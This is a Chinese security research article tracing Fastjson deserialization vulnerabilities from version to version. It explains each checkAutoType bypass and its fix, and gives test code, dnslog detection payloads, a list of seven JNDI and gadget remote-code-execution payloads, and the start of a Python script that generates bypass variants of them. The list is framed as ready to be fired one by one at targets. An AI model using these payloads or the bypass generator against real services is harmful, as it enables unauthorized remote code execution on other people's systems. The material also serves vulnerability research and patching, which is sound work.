Fastjson 反序列化漏洞史
作者：Longofo@知道创宇404实验室 时间：2020年4月27日 英文版本： https://paper.seebug.org/1193/
Fastjson没有cve编号，不太好查找时间线，一开始也不知道咋写，不过还是慢慢写出点东西，幸好fastjson开源以及有师傅们的一路辛勤记录。文中将给出与Fastjson漏洞相关的比较关键的更新以及漏洞时间线，会对一些比较经典的漏洞进行测试及修复说明，给出一些探测payload，rce payload。
Fastjson解析流程
可以参考下@Lucifaer师傅写的fastjson流程分析，这里不写了，再写篇幅就占用很大了。文中提到fastjson有使用ASM生成的字节码，由于实际使用中很多类都不是原生类，fastjson序列化/反序列化大多数类时都会用ASM处理，如果好奇想查看生成的字节码，可以用idea动态调试时保存字节文件：
插入的代码为：
BufferedOutputStream bos = null;
FileOutputStream fos = null;
File file = null;
String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";
try {
File dir = new File(filePath);
if (!dir.exists()) {
dir.mkdirs();
}
file = new File(filePath + className + ".class");
fos = new FileOutputStream(file);
bos = new BufferedOutputStream(fos);
bos.write(code);
} catch (Exception e) {
e.printStackTrace();
} finally {
if (bos != null) {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fos != null) {
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
生成的类：
但是这个类并不能用于调试，因为fastjson中用ASM生成的代码没有linenumber、trace等用于调试的信息，所以不能调试。不过通过在Expression那个窗口重写部分代码，生成可用于调式的bytecode应该也是可行的（我没有测试，如果有时间和兴趣，可以看下ASM怎么生成可用于调试的字节码）。
Fastjson 样例测试
首先用多个版本测试下面这个例子：
//User.java
package com.longofo.test;
public class User {
private String name; //私有属性，有getter、setter方法
private int age; //私有属性，有getter、setter方法
private boolean flag; //私有属性，有is、setter方法
public String sex; //公有属性，无getter、setter方法
private String address; //私有属性，无getter、setter方法
public User() {
System.out.println("call User default Constructor");
}
public String getName() {
System.out.println("call User getName");
return name;
}
public void setName(String name) {
System.out.println("call User setName");
this.name = name;
}
public int getAge() {
System.out.println("call User getAge");
return age;
}
public void setAge(int age) {
System.out.println("call User setAge");
this.age = age;
}
public boolean isFlag() {
System.out.println("call User isFlag");
return flag;
}
public void setFlag(boolean flag) {
System.out.println("call User setFlag");
this.flag = flag;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '/'' +
", age=" + age +
", flag=" + flag +
", sex='" + sex + '/'' +
", address='" + address + '/'' +
'}';
}
}
package com.longofo.test;
import com.alibaba.fastjson.JSON;
public class Test1 {
public static void main(String[] args) {
//序列化
String serializedStr = "{/"@type/":/"com.longofo.test.User/",/"name/":/"lala/",/"age/":11, /"flag/": true,/"sex/":/"boy/",/"address/":/"china/"}";//
System.out.println("serializedStr=" + serializedStr);
System.out.println("-----------------------------------------------/n/n");
//通过parse方法进行反序列化，返回的是一个JSONObject]
System.out.println("JSON.parse(serializedStr)：");
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
System.out.println("parse反序列化：" + obj1);
System.out.println("-----------------------------------------------/n");
//通过parseObject,不指定类，返回的是一个JSONObject
System.out.println("JSON.parseObject(serializedStr)：");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
System.out.println("parseObject反序列化:" + obj2);
System.out.println("-----------------------------------------------/n");
//通过parseObject,指定为object.class
System.out.println("JSON.parseObject(serializedStr, Object.class)：");
Object obj3 = JSON.parseObject(serializedStr, Object.class);
System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
System.out.println("parseObject反序列化:" + obj3);
System.out.println("-----------------------------------------------/n");
//通过parseObject,指定为User.class
System.out.println("JSON.parseObject(serializedStr, User.class)：");
Object obj4 = JSON.parseObject(serializedStr, User.class);
System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
System.out.println("parseObject反序列化:" + obj4);
System.out.println("-----------------------------------------------/n");
}
}
说明：
key:value
1.1.157测试
这应该是最原始的版本了（tag最早是这个），结果：
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------
JSON.parse(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化对象名称:com.longofo.test.User
parse反序列化：User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
-----------------------------------------------
JSON.parseObject(serializedStr, Object.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr, User.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
下面对每个结果做一个简单的说明
JSON.parse(serializedStr)
JSON.parse(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化对象名称:com.longofo.test.User
parse反序列化：User{name='lala', age=11, flag=true, sex='boy', address='null'}
在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName）,最终结果是User类的一个实例，不过值得注意的是public sex被成功赋值了，private address没有成功赋值，不过在1.2.22, 1.1.54.android之后，增加了一个SupportNonPublicField特性，如果使用了这个特性，那么private address就算没有setter、getter也能成功赋值，这个特性也与后面的一个漏洞有关。注意默认构造方法、setter方法调用顺序，默认构造器在前，此时属性值还没有被赋值，所以即使默认构造器中存在危险方法，但是危害值还没有被传入，所以默认构造器按理来说不会成为漏洞利用方法，不过对于内部类那种，外部类先初始化了自己的某些属性值，但是内部类默认构造器使用了父类的属性的某些值，依然可能造成危害。
可以看出，从最原始的版本就开始有autotype功能了，并且autotype默认开启。同时ParserConfig类中还没有黑名单。
JSON.parseObject(serializedStr)
JSON.parseObject(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName）以及对应的getter方法（getAge，getName），最终结果是一个字符串。这里还多调用了getter（注意bool类型的是is开头的）方法，是因为parseObject在没有其他参数时，调用了 JSON.toJSON(obj) ，后续会通过gettter方法获取obj属性值：
JSON.parseObject(serializedStr, Object.class)
JSON.parseObject(serializedStr, Object.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
在指定了@type的情况下，这种写法和第一种 JSON.parse(serializedStr) 写法其实没有区别的，从结果也能看出。
JSON.parseObject(serializedStr, User.class)
JSON.parseObject(serializedStr, User.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName），最终结果是User类的一个实例。这种写法明确指定了目标对象必须是User类型，如果@type对应的类型不是User类型或其子类，将抛出不匹配异常，但是，就算指定了特定的类型，依然有方式在类型匹配之前来触发漏洞。
1.2.10测试
对于上面User这个类，测试结果和1.1.157一样，这里不写了。
到这个版本autotype依然默认开启。不过从这个版本开始，fastjson在ParserConfig中加入了denyList，一直到1.2.24版本，这个denyList都只有一个类（不过这个java.lang.Thread不是用于漏洞利用的）：
1.2.25测试
测试结果是抛出出了异常：
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}
-----------------------------------------------
JSON.parse(serializedStr)：
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.longofo.test.Test1.main(Test1.java:14)
从1.2.25开始，autotype默认关闭了，对于autotype开启，后面漏洞分析会涉及到。并且从1.2.25开始，增加了checkAutoType函数，它的主要作用是检测@type指定的类是否在白名单、黑名单（使用的startswith方式）
以及目标类是否是两个危险类（Classloader、DataSource）的子类或者子接口，其中白名单优先级最高，白名单如果允许就不检测黑名单与危险类，否则继续检测黑名单与危险类：
增加了黑名单类、包数量，同时增加了白名单，用户还可以调用相关方法添加黑名单/白名单到列表中：
后面的许多漏洞都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复，以及黑名单的不断增加。
1.2.42测试
与1.2.25一样，默认不开启autotype，所以结果一样，直接抛autotype未开启异常。
从这个版本开始，将denyList、acceptList换成了十进制的hashcode，使得安全研究难度变大了（不过hashcode的计算方法依然是公开的，假如拥有大量的jar包，例如maven仓库可以爬jar包下来，可批量的跑类名、包名，不过对于黑名单是包名的情况，要找到具体可利用的类也会消耗一些时间）：
checkAutotype中检测也做了相应的修改：
1.2.61测试
与1.2.25一样，默认不开启autotype，所以结果一样，直接抛autotype未开启异常。
从1.2.25到1.2.61之前其实还发生了很多绕过与黑名单的增加，不过这部分在后面的漏洞版本线在具体写，这里写1.2.61版本主要是说明黑名单防御所做的手段。在1.2.61版本时，fastjson将hashcode从十进制换成了十六进制：
不过用十六进制表示与十进制表示都一样，同样可以批量跑jar包。在1.2.62版本为了统一又把十六进制大写：
再之后的版本就是黑名单的增加了
Fastjson漏洞版本线
下面漏洞不会过多的分析，太多了，只会简单说明下以及给出payload进行测试与说明修复方式。
ver<=1.2.24
从上面的测试中可以看到，1.2.24及之前没有任何防御，并且autotype默认开启，下面给出那会比较经典的几个payload。
com.sun.rowset.JdbcRowSetImpl利用链
payload：
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
测试（jdk=8u102，fastjson=1.2.24）：
package com.longofo.test;
import com.alibaba.fastjson.JSON;
public class Test2 {
public static void main(String[] args) {
String payload = "{/"rand1/":{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://localhost:1389/Object/",/"autoCommit/":true}}";
// JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功，没有直接在外层用@type，加了一层rand:{}这样的格式，还没到类型匹配就能成功触发，这是在xray的一篇文中看到的https://zhuanlan.zhihu.com/p/99075925，所以后面的payload都使用这种模式
}
}
结果：
触发原因简析：
JdbcRowSetImpl对象恢复->setDataSourceName方法调用->setAutocommit方法调用->context.lookup(datasourceName)调用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链
payload：
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
测试（jdk=8u102，fastjson=1.2.24）：
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class Test3 {
public static void main(String[] args) throws Exception {
String evilCode_base64 = readClass();
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{'rand1':{" +
"/"@type/":/"" + NASTY_CLASS + "/"," +
"/"_bytecodes/":[/"" + evilCode_base64 + "/"]," +
"'_name':'aaa'," +
"'_tfactory':{}," +
"'_outputProperties':{}" +
"}}/n";
System.out.println(payload);
//JSON.parse(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功
}
public static class AaAa {
}
public static String readClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(AaAa.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(/"calc/");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "AaAa" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
return Base64.encodeBase64String(evilCode);
}
}
结果：
触发原因简析：
TemplatesImpl对象恢复->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->通过defineTransletClasses，newInstance触发我们自己构造的class的静态代码块
简单说明：
这个漏洞需要开启SupportNonPublicField特性，这在样例测试中也说到了。因为TemplatesImpl类中 _bytecodes 、 _tfactory 、 _name 、 _outputProperties 、 _class 并没有对应的setter，所以要为这些private属性赋值，就需要开启SupportNonPublicField特性。具体这个poc构造过程，这里不分析了，可以看下廖大师傅的 这篇 ，涉及到了一些细节问题。
ver>=1.2.25&ver<=1.2.41
1.2.24之前没有autotype的限制，从1.2.25开始默认关闭了autotype支持，并且加入了checkAutotype，加入了黑名单+白名单来防御autotype开启的情况。在1.2.25到1.2.41之间，发生了一次checkAutotype的绕过。
下面是checkAutoType代码：
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
// 位置1，开启了autoTypeSupport，先白名单，再黑名单
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 位置2，从已存在的map中获取clazz
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// 位置3，没开启autoTypeSupport，依然会进行黑白名单检测，先黑名单，再白名单
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// 位置4，过了黑白名单，autoTypeSupport开启，就加载目标类
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
// ClassLoader、DataSource子类/子接口检测
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
在上面做了四个位置标记，因为后面几次绕过也与这几处位置有关。这一次的绕过是走过了前面的1，2，3成功进入位置4加载目标类。位置4 loadclass如下：
去掉了className前后的 L 和 ; ，形如 Lcom.lang.Thread; 这种表示方法和JVM中类的表示方法是类似的，fastjson对这种表示方式做了处理。而之前的黑名单检测都是startswith检测的，所以可给@type指定的类前后加上 L 和 ; 来绕过黑名单检测。
这里用上面的JdbcRowSetImpl利用链：
{
"rand1": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
测试（jdk8u102，fastjson 1.2.41）：
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test4 {
public static void main(String[] args) {
String payload = "{/"rand1/":{/"@type/":/"Lcom.sun.rowset.JdbcRowSetImpl;/",/"dataSourceName/":/"ldap://localhost:1389/Object/",/"autoCommit/":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功
}
}
结果：
ver=1.2.42
在1.2.42对1.2.25~1.2.41的checkAutotype绕过进行了修复，将黑名单改成了十进制，对checkAutotype检测也做了相应变化：
黑名单改成了十进制，检测也进行了相应hash运算。不过和上面1.2.25中的检测过程还是一致的，只是把startswith这种检测换成了hash运算这种检测。对于1.2.25~1.2.41的checkAutotype绕过的修复，就是红框处，判断了className前后是不是 L 和 ; ，如果是，就截取第二个字符和到倒数第二个字符。所以1.2.42版本的checkAutotype绕过就是前后双写 LL 和 ;; ，截取之后过程就和1.2.25~1.2.41版本利用方式一样了。
用上面的JdbcRowSetImpl利用链：
{
"rand1": {
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
测试（jdk8u102，fastjson 1.2.42）:
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test5 {
public static void main(String[] args) {
String payload = "{/"rand1/":{/"@type/":/"LLcom.sun.rowset.JdbcRowSetImpl;;/",/"dataSourceName/":/"ldap://localhost:1389/Object/",/"autoCommit/":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功
}
}
结果：
ver=1.2.43
1.2.43对于1.2.42的绕过修复方式：
在第一个if条件之下（ L 开头， ; 结尾），又加了一个以 LL 开头的条件，如果第一个条件满足并且以 LL 开头，直接抛异常。所以这种修复方式没法在绕过了。但是上面的loadclass除了 L 和 ; 做了特殊处理外， [ 也被特殊处理了，又再次绕过了checkAutoType：
用上面的JdbcRowSetImpl利用链：
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}
测试（jdk8u102，fastjson 1.2.43）:
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test6 {
public static void main(String[] args) {
String payload = "{/"rand1/":{/"@type/":/"[com.sun.rowset.JdbcRowSetImpl/"[{/"dataSourceName/":/"ldap://127.0.0.1:1389/Exploit/",/"autoCommit/":true]}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
JSON.parseObject(payload, User.class);
}
}
结果：
ver=1.2.44
1.2.44版本修复了1.2.43绕过，处理了 [ ：
删除了之前的 L 开头、 ; 结尾、 LL 开头的判断，改成了 [ 开头就抛异常， ; 结尾也抛异常，所以这样写之前的几次绕过都修复了。
ver>=1.2.45&ver<1.2.46
这两个版本期间就是增加黑名单，没有发生checkAutotype绕过。黑名单中有几个payload在后面的RCE Payload给出，这里就不写了
ver=1.2.47
这个版本发生了不开启autotype情况下能利用成功的绕过。解析一下这次的绕过：
java.lang.class java.lang.class
这个漏洞分析已经很多了，具体详情可以参考下 这篇
payload：
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
测试（jdk8u102，fastjson 1.2.47）：
package com.longofo.test;
import com.alibaba.fastjson.JSON;
public class Test7 {
public static void main(String[] args) {
String payload = "{/n" +
" /"rand1/": {/n" +
" /"@type/": /"java.lang.Class/", /n" +
" /"val/": /"com.sun.rowset.JdbcRowSetImpl/"/n" +
" }, /n" +
" /"rand2/": {/n" +
" /"@type/": /"com.sun.rowset.JdbcRowSetImpl/", /n" +
" /"dataSourceName/": /"ldap://localhost:1389/Object/", /n" +
" /"autoCommit/": true/n" +
" }/n" +
"}";
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
JSON.parseObject(payload, User.class);
}
}
结果：
ver>=1.2.48&ver<=1.2.68
在1.2.48修复了1.2.47的绕过，在MiscCodec，处理Class类的地方，设置了cache为false：
在1.2.48到最新版本1.2.68之间，都是增加黑名单类。
ver=1.2.68
1.2.68是目前最新版，在1.2.68引入了safemode，打开safemode时，@type这个specialkey完全无用，无论白名单和黑名单，都不支持autoType了。
在这个版本中，除了增加黑名单，还减掉一个黑名单：
这个减掉的黑名单，不知道有师傅跑出来没，是个包名还是类名，然后能不能用于恶意利用，反正有点奇怪。
探测Fastjson
比较常用的探测Fastjson是用dnslog方式，探测到了再用RCE Payload去一个一个打。同事说让搞个能回显的放扫描器扫描，不过目标容器/框架不一样，回显方式也会不一样，这有点为难了...，还是用dnslog吧。
dnslog探测
目前fastjson探测比较通用的就是dnslog方式去探测，其中Inet4Address、Inet6Address直到1.2.67都可用。下面给出一些看到的payload（结合了上面的rand:{}这种方式，比较通用些）：
{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}
{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}
{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}
一些畸形payload，不过依然可以触发dnslog：
{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}
{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}
{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0
一些RCE Payload
之前没有收集关于fastjson的payload，没有去跑jar包....，下面列出了网络上流传的payload以及从marshalsec中扣了一些并改造成适用于fastjson的payload，每个payload适用的jdk版本、fastjson版本就不一一测试写了，这一通测下来都不知道要花多少时间，实际利用基本无法知道版本、autotype开了没、用户咋配置的、用户自己设置又加了黑名单/白名单没，所以将构造的Payload一一过去打就行了，基础payload：
payload1:
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
payload2:
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
payload3:
{
"rand1": {
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://localhost:1389/Object"
}
}
}
payload4:
{
"rand1": {
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://localhost:1389/Object",
"propertyPath": "foo",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/Object"
]
}
}
}
payload5:
{
"rand1": Set[
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/obj"
]
},
"adviceBeanName": "ldap://localhost:1389/obj"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
]}
payload6:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
}
}
payload7:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://localhost:1389/Object",
"loginTimeout": 0
}
}
...还有很多
下面是个小脚本，可以将基础payload转出各种绕过的变形态，还增加了 /u 、 /x 编码形式：
#!usr/bin/env python
# -*- coding:utf-8 -*-
"""
@author: longofo
@file: fastjson_fuzz.py
@time: 2020/05/07
"""
import json
from json import JSONDecodeError
class FastJsonPayload:
def __init__(self, base_payload):
try:
json.loads(base_payload)
except JSONDecodeError as ex:
raise ex
self.base_payload = base_payload
def gen_common(self, payload, func):
tmp_payload = json.loads(payload)
dct_objs = [tmp_payload]
while len(dct_objs) > 0:
tmp_objs = []
for dct_obj in dct_objs:
for key in dct_obj:
if key == "@type":
dct_obj[key] = func(dct_obj[key])
if type(dct_obj[key]) == dict:
